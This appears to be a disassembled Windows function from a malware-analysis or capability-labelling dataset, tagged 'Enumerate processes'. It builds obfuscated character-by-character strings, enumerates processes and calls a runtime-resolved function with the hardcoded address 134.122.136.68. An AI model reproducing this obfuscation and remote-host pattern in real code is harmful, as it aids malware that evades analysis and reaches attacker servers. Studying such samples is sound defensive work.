Function at 0x402820
Capabilities:
Enumerate processes

Disassembly:
mov r11, rsp
sub rsp, 0x248
mov qword [rsp + 0x98], 0xfffffffffffffffe
mov qword [r11 + 0x18], rbx
mov qword [r11 + 0x20], rbp
mov qword [r11 - 8], rsi
mov qword [r11 - 0x10], rdi
mov qword [r11 - 0x18], r12
mov qword [r11 - 0x20], r13
mov rax, qword [0x0041c040]
xor rax, rsp
mov qword [rsp + 0x210], rax
mov r12, rdx
mov rbp, rcx
xor r13d, r13d
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x40], r13
mov word [rsp + 0x20], 0x51
lea rax, [rsp + 0x28]
mov qword [r11 - 0x48], rax
mov qword [r11 - 0x40], r13
movaps xmm0, xmmword [r11 - 0x48]
movdqa xmmword [rsp + 0x50], xmm0
lea r9, [rsp + 0x20]
lea r8d, [r13 + 1]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x28]
call fcn.0040a640
mov rbx, qword [rsp + 0x30]
mov rdi, rbx
mov rdx, qword [rsp + 0x38]
cmp rbx, rdx
jbe 0x4028d0
call fcn.0040bf80
mov rdx, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
cmp rdi, rdx
ja 0x4028da
cmp rdi, rbx
jae 0x4028e9
call fcn.0040bf80
mov rdx, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
mov word [rsp + 0x20], 0x6f
test rbx, rbx
je 0x402926
mov rcx, rdx
sub rcx, rbx
sar rcx, 1
mov rax, qword [rsp + 0x40]
sub rax, rbx
sar rax, 1
cmp rcx, rax
jae 0x402926
mov word [rdx], 0x6f
add rdx, 2
mov qword [rsp + 0x38], rdx
mov rbx, qword [rsp + 0x30]
jmp 0x4029d4
mov rdi, rdx
cmp rbx, rdx
jbe 0x40293d
call fcn.0040bf80
mov rdx, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
lea rax, [rsp + 0x28]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rdi
test rbx, rbx
je 0x40296e
mov rax, rdx
sub rax, rbx
sar rax, 1
je 0x40296e
cmp rbx, rdx
jbe 0x402966
call fcn.0040bf80
sub rdi, rbx
sar rdi, 1
jmp 0x402971
mov rdi, r13
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea r9, [rsp + 0x20]
mov r8d, 1
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x28]
call fcn.0040a640
mov rbx, qword [rsp + 0x30]
mov rsi, rbx
mov rdx, qword [rsp + 0x38]
cmp rbx, rdx
jbe 0x4029b7
call fcn.0040bf80
mov rdx, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
lea rax, [rsi + rdi*2]
cmp rax, rdx
ja 0x4029c5
cmp rax, rbx
jae 0x4029d4
call fcn.0040bf80
mov rdx, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
mov word [rsp + 0x20], 0x68
test rbx, rbx
je 0x402a11
mov rcx, rdx
sub rcx, rbx
sar rcx, 1
mov rax, qword [rsp + 0x40]
sub rax, rbx
sar rax, 1
cmp rcx, rax
jae 0x402a11
mov word [rdx], 0x68
add rdx, 2
mov qword [rsp + 0x38], rdx
mov rbx, qword [rsp + 0x30]
jmp 0x402abf
mov rdi, rdx
cmp rbx, rdx
jbe 0x402a28
call fcn.0040bf80
mov rdx, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
lea rax, [rsp + 0x28]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rdi
test rbx, rbx
je 0x402a59
mov rax, rdx
sub rax, rbx
sar rax, 1
je 0x402a59
cmp rbx, rdx
jbe 0x402a51
call fcn.0040bf80
sub rdi, rbx
sar rdi, 1
jmp 0x402a5c
mov rdi, r13
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea r9, [rsp + 0x20]
mov r8d, 1
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x28]
call fcn.0040a640
mov rbx, qword [rsp + 0x30]
mov rsi, rbx
mov rdx, qword [rsp + 0x38]
cmp rbx, rdx
jbe 0x402aa2
call fcn.0040bf80
mov rdx, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
lea rax, [rsi + rdi*2]
cmp rax, rdx
ja 0x402ab0
cmp rax, rbx
jae 0x402abf
call fcn.0040bf80
mov rdx, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
mov word [rsp + 0x20], 0x57
test rbx, rbx
je 0x402afc
mov rcx, rdx
sub rcx, rbx
sar rcx, 1
mov rax, qword [rsp + 0x40]
sub rax, rbx
sar rax, 1
cmp rcx, rax
jae 0x402afc
mov word [rdx], 0x57
add rdx, 2
mov qword [rsp + 0x38], rdx
mov rbx, qword [rsp + 0x30]
jmp 0x402baa
mov rdi, rdx
cmp rbx, rdx
jbe 0x402b13
call fcn.0040bf80
mov rdx, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
lea rax, [rsp + 0x28]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rdi
test rbx, rbx
je 0x402b44
mov rax, rdx
sub rax, rbx
sar rax, 1
je 0x402b44
cmp rbx, rdx
jbe 0x402b3c
call fcn.0040bf80
sub rdi, rbx
sar rdi, 1
jmp 0x402b47
mov rdi, r13
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea r9, [rsp + 0x20]
mov r8d, 1
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x28]
call fcn.0040a640
mov rbx, qword [rsp + 0x30]
mov rsi, rbx
mov rdx, qword [rsp + 0x38]
cmp rbx, rdx
jbe 0x402b8d
call fcn.0040bf80
mov rdx, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
lea rax, [rsi + rdi*2]
cmp rax, rdx
ja 0x402b9b
cmp rax, rbx
jae 0x402baa
call fcn.0040bf80
mov rdx, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
mov word [rsp + 0x20], 0x6e
test rbx, rbx
je 0x402be7
mov rcx, rdx
sub rcx, rbx
sar rcx, 1
mov rax, qword [rsp + 0x40]
sub rax, rbx
sar rax, 1
cmp rcx, rax
jae 0x402be7
mov word [rdx], 0x6e
add rdx, 2
mov qword [rsp + 0x38], rdx
mov rbx, qword [rsp + 0x30]
jmp 0x402c95
mov rdi, rdx
cmp rbx, rdx
jbe 0x402bfe
call fcn.0040bf80
mov rdx, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
lea rax, [rsp + 0x28]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rdi
test rbx, rbx
je 0x402c2f
mov rax, rdx
sub rax, rbx
sar rax, 1
je 0x402c2f
cmp rbx, rdx
jbe 0x402c27
call fcn.0040bf80
sub rdi, rbx
sar rdi, 1
jmp 0x402c32
mov rdi, r13
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea r9, [rsp + 0x20]
mov r8d, 1
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x28]
call fcn.0040a640
mov rbx, qword [rsp + 0x30]
mov rsi, rbx
mov rdx, qword [rsp + 0x38]
cmp rbx, rdx
jbe 0x402c78
call fcn.0040bf80
mov rdx, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
lea rax, [rsi + rdi*2]
cmp rax, rdx
ja 0x402c86
cmp rax, rbx
jae 0x402c95
call fcn.0040bf80
mov rdx, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
mov word [rsp + 0x20], 0x7a
test rbx, rbx
je 0x402cd2
mov rcx, rdx
sub rcx, rbx
sar rcx, 1
mov rax, qword [rsp + 0x40]
sub rax, rbx
sar rax, 1
cmp rcx, rax
jae 0x402cd2
mov word [rdx], 0x7a
add rdx, 2
mov qword [rsp + 0x38], rdx
mov rbx, qword [rsp + 0x30]
jmp 0x402d80
mov rdi, rdx
cmp rbx, rdx
jbe 0x402ce9
call fcn.0040bf80
mov rdx, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
lea rax, [rsp + 0x28]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rdi
test rbx, rbx
je 0x402d1a
mov rax, rdx
sub rax, rbx
sar rax, 1
je 0x402d1a
cmp rbx, rdx
jbe 0x402d12
call fcn.0040bf80
sub rdi, rbx
sar rdi, 1
jmp 0x402d1d
mov rdi, r13
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea r9, [rsp + 0x20]
mov r8d, 1
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x28]
call fcn.0040a640
mov rbx, qword [rsp + 0x30]
mov rsi, rbx
mov rdx, qword [rsp + 0x38]
cmp rbx, rdx
jbe 0x402d63
call fcn.0040bf80
mov rdx, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
lea rax, [rsi + rdi*2]
cmp rax, rdx
ja 0x402d71
cmp rax, rbx
jae 0x402d80
call fcn.0040bf80
mov rdx, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
mov word [rsp + 0x20], 0x6a
test rbx, rbx
je 0x402dbd
mov rcx, rdx
sub rcx, rbx
sar rcx, 1
mov rax, qword [rsp + 0x40]
sub rax, rbx
sar rax, 1
cmp rcx, rax
jae 0x402dbd
mov word [rdx], 0x6a
add rdx, 2
mov qword [rsp + 0x38], rdx
mov rbx, qword [rsp + 0x30]
jmp 0x402e6b
mov rdi, rdx
cmp rbx, rdx
jbe 0x402dd4
call fcn.0040bf80
mov rdx, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
lea rax, [rsp + 0x28]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rdi
test rbx, rbx
je 0x402e05
mov rax, rdx
sub rax, rbx
sar rax, 1
je 0x402e05
cmp rbx, rdx
jbe 0x402dfd
call fcn.0040bf80
sub rdi, rbx
sar rdi, 1
jmp 0x402e08
mov rdi, r13
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea r9, [rsp + 0x20]
mov r8d, 1
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x28]
call fcn.0040a640
mov rbx, qword [rsp + 0x30]
mov rsi, rbx
mov rdx, qword [rsp + 0x38]
cmp rbx, rdx
jbe 0x402e4e
call fcn.0040bf80
mov rdx, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
lea rax, [rsi + rdi*2]
cmp rax, rdx
ja 0x402e5c
cmp rax, rbx
jae 0x402e6b
call fcn.0040bf80
mov rdx, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
mov word [rsp + 0x20], 0x52
test rbx, rbx
je 0x402ea8
mov rcx, rdx
sub rcx, rbx
sar rcx, 1
mov rax, qword [rsp + 0x40]
sub rax, rbx
sar rax, 1
cmp rcx, rax
jae 0x402ea8
mov word [rdx], 0x52
add rdx, 2
mov qword [rsp + 0x38], rdx
mov rbx, qword [rsp + 0x30]
jmp 0x402f56
mov rdi, rdx
cmp rbx, rdx
jbe 0x402ebf
call fcn.0040bf80
mov rdx, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
lea rax, [rsp + 0x28]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rdi
test rbx, rbx
je 0x402ef0
mov rax, rdx
sub rax, rbx
sar rax, 1
je 0x402ef0
cmp rbx, rdx
jbe 0x402ee8
call fcn.0040bf80
sub rdi, rbx
sar rdi, 1
jmp 0x402ef3
mov rdi, r13
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea r9, [rsp + 0x20]
mov r8d, 1
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x28]
call fcn.0040a640
mov rbx, qword [rsp + 0x30]
mov rsi, rbx
mov rdx, qword [rsp + 0x38]
cmp rbx, rdx
jbe 0x402f39
call fcn.0040bf80
mov rdx, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
lea rax, [rsi + rdi*2]
cmp rax, rdx
ja 0x402f47
cmp rax, rbx
jae 0x402f56
call fcn.0040bf80
mov rdx, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
mov word [rsp + 0x20], 0x69
test rbx, rbx
je 0x402f93
mov rcx, rdx
sub rcx, rbx
sar rcx, 1
mov rax, qword [rsp + 0x40]
sub rax, rbx
sar rax, 1
cmp rcx, rax
jae 0x402f93
mov word [rdx], 0x69
add rdx, 2
mov qword [rsp + 0x38], rdx
mov rbx, qword [rsp + 0x30]
jmp 0x403041
mov rdi, rdx
cmp rbx, rdx
jbe 0x402faa
call fcn.0040bf80
mov rdx, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
lea rax, [rsp + 0x28]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rdi
test rbx, rbx
je 0x402fdb
mov rax, rdx
sub rax, rbx
sar rax, 1
je 0x402fdb
cmp rbx, rdx
jbe 0x402fd3
call fcn.0040bf80
sub rdi, rbx
sar rdi, 1
jmp 0x402fde
mov rdi, r13
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea r9, [rsp + 0x20]
mov r8d, 1
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x28]
call fcn.0040a640
mov rbx, qword [rsp + 0x30]
mov rsi, rbx
mov rdx, qword [rsp + 0x38]
cmp rbx, rdx
jbe 0x403024
call fcn.0040bf80
mov rdx, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
lea rax, [rsi + rdi*2]
cmp rax, rdx
ja 0x403032
cmp rax, rbx
jae 0x403041
call fcn.0040bf80
mov rdx, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
mov word [rsp + 0x20], 0x74
test rbx, rbx
je 0x403079
mov rcx, rdx
sub rcx, rbx
sar rcx, 1
mov rax, qword [rsp + 0x40]
sub rax, rbx
sar rax, 1
cmp rcx, rax
jae 0x403079
mov word [rdx], 0x74
lea rax, [rdx + 2]
mov qword [rsp + 0x38], rax
jmp 0x40311d
mov rdi, rdx
cmp rbx, rdx
jbe 0x403090
call fcn.0040bf80
mov rdx, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
lea rax, [rsp + 0x28]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rdi
test rbx, rbx
je 0x4030c1
mov rax, rdx
sub rax, rbx
sar rax, 1
je 0x4030c1
cmp rbx, rdx
jbe 0x4030b9
call fcn.0040bf80
sub rdi, rbx
sar rdi, 1
jmp 0x4030c4
mov rdi, r13
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea r9, [rsp + 0x20]
mov r8d, 1
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x28]
call fcn.0040a640
mov r11, qword [rsp + 0x30]
mov rbx, r11
mov rax, qword [rsp + 0x38]
cmp r11, rax
jbe 0x40310a
call fcn.0040bf80
mov rax, qword [rsp + 0x38]
mov r11, qword [rsp + 0x30]
lea rcx, [rbx + rdi*2]
cmp rcx, rax
ja 0x403118
cmp rcx, r11
jae 0x40311d
call fcn.0040bf80
mov word [rsp + 0x20], 0x68
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x28]
call fcn.00409bd0
mov word [rsp + 0x20], 0x74
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x28]
call fcn.00409bd0
mov word [rsp + 0x20], 0x77
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x28]
call fcn.00409bd0
mov word [rsp + 0x20], 0x7a
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x28]
call fcn.00409bd0
mov word [rsp + 0x200], 0x55
mov word [rsp + 0x202], 0x47
mov word [rsp + 0x204], 0x75
mov word [rsp + 0x206], 0x70
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x50]
call fcn.00409a40
mov r9d, 4
lea r8, [rsp + 0x200]
mov rdx, rax
lea rcx, [rsp + 0xa0]
call fcn.00401270
nop
xor edx, edx
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x403214
mov dword [rsp + 0xd0], 0x130
lea rdx, [rsp + 0xd0]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x403214
nop
lea rdx, [rsp + 0xd0]
mov rcx, rbx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x403200
mov qword [rsp + 0x90], 0xf
mov qword [rsp + 0x88], r13
mov byte [rsp + 0x78], 0
mov r9, 0xffffffffffffffff
xor r8d, r8d
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x70]
call fcn.00409ed0
lea rdx, [rsp + 0x70]
mov rcx, r12
call fcn.00401b00
xor r9d, r9d
mov r8w, 0x118
lea rdx, str.134.122.136.68
mov rcx, rbp
call rax
mov rbx, rax
cmp qword [rsp + 0xc0], 0x10
jb 0x403285
mov rcx, qword [rsp + 0xa8]
call fcn.0040bb10
mov qword [rsp + 0xc0], 0xf
mov qword [rsp + 0xb8], r13
mov byte [rsp + 0xa8], 0
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x4032b5
call fcn.0040bb10
mov rax, rbx
jmp 0x4032b8
mov rax, rbx
mov rcx, qword [rsp + 0x210]
xor rcx, rsp
call fcn.0040b8c0
mov rbx, qword [rsp + 0x260]
mov rbp, qword [rsp + 0x268]
mov rsi, qword [rsp + 0x240]
mov rdi, qword [rsp + 0x238]
mov r12, qword [rsp + 0x230]
mov r13, qword [rsp + 0x228]
add rsp, 0x248
ret